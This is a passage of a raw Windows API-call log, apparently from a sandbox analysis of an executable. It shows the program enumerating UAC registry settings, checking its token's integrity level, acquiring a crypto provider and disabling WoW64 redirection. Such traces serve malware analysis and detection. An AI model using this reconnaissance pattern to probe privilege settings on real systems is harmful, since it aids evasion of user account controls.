BaseAddress=0x1d7b860) returned 1 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b860 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c4c8 [0031.267] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b968 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c480 [0031.267] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b978 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c3f0 [0031.267] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b988 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c3a8 [0031.267] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x30) returned 0x1d7b998 [0031.267] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b940) returned 1 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b940 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c360 [0031.267] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b950 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c318 [0031.267] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b9d0 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c2d0 [0031.267] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b9e0 [0031.267] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.267] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c240 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b998) returned 1 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b998 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1f8 [0031.268] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b9a8 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1b0 [0031.268] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d1e8 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c168 [0031.268] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d1f8 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.268] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.268] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c5a0) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b878) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c438) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b888) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c558) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b898) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c510) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b930) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c4c8) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b860) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c480) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b968) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c3f0) returned 1 [0031.268] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b978) returned 1 [0031.268] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0031.269] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x1d7c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x1d7c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0031.269] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d5e8 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d1f8 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.269] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d1e8 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c240 [0031.269] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d208 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.269] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d218 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c168 [0031.269] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1d7b860 [0031.269] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d238 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1f8 [0031.269] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d248 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.269] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d258 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c2d0 [0031.269] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.269] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x30) returned 0x1d7b930 [0031.269] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d278 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c360 [0031.270] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d288 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c3a8 [0031.270] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d298 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c3f0 [0031.270] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c480 [0031.270] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2b8 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c510 [0031.270] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2c8 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c558 [0031.270] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2d8 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c438 [0031.270] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0031.270] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c5a0 [0031.270] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0031.270] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x1d7c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x1d7c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0031.270] RegCloseKey (hKey=0x34) returned 0x0 [0031.270] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x34) returned 1 [0031.270] GetTokenInformation (in: TokenHandle=0x34, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0031.271] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0x90) returned 1 [0031.271] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0031.271] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c5a0 [0031.271] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x1d7c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x1d7c5a0, ReturnLength=0x18fbfc) returned 1 [0031.271] GetSidSubAuthorityCount (pSid=0x1d7c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x1d7c5a9 [0031.271] GetSidSubAuthority (pSid=0x1d7c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x1d7c5b0 [0031.271] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c5a0) returned 1 [0031.271] NtClose (Handle=0x90) returned 0x0 [0031.271] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0031.271] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x6c) returned 0x1d7b860 [0031.271] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c5a0 [0031.271] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x90 [0031.271] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c480 [0031.271] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c438 [0031.271] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c558 [0031.271] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c510 [0031.271] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5000) returned 0x1d90048 [0031.272] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c4c8 [0031.272] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c4c8) returned 1 [0031.272] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x2bdbe8) returned 1 [0031.286] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d90048) returned 1 [0031.286] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7b8d8 [0031.286] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7b960 [0031.286] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c4c8 [0031.286] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7b9e8 [0031.286] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7ba70 [0031.286] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c3f0 [0031.286] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7baf8 [0031.286] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c3a8 [0031.286] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5000) returned 0x1d90048 [0031.286] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c360 [0031.286] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c360) returned 1 [0031.286] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0031.291] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d90048) returned 1 [0031.291] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2bafc0, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0031.291] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c360 [0031.291] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xdc [0031.291] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c360) returned 1 [0031.291] GetLastError () returned 0x0 [0031.291] LocalFree (hMem=0x2bafc0) returned 0x0 [0031.291] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c360 [0031.291] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5000) returned 0x1d90048 [0031.291] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c318 [0031.291] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c318) returned 1 [0031.291] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0031.292] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d90048) returned 1 [0031.292] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2bafc0, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0031.292] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c318 [0031.292] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe0 [0031.292] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c318) returned 1 [0031.292] GetLastError () returned 0x0 [0031.292] LocalFree (hMem=0x2bafc0) returned 0x0 [0031.292] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c318 [0031.292] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5000) returned 0x1d90048 [0031.292] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c2d0 [0031.292] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c2d0) returned 1 [0031.292] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0031.293] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d90048) returned 1 [0031.293] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2bafc0, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0031.293] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c2d0 [0031.293] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe4 [0031.293] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c2d0) returned 1 [0031.293] GetLastError () returned 0x0 [0031.293] LocalFree (hMem=0x2bafc0) returned 0x0 [0031.293] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x2800) returned 0x1d90048 [0031.293] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7bb80 [0031.293] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c2d0 [0031.293] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0031.293] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x2800) returned 0x1d92850 [0031.293] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.293] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.293] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d5e8 [0031.293] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d2d8 [0031.293] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, 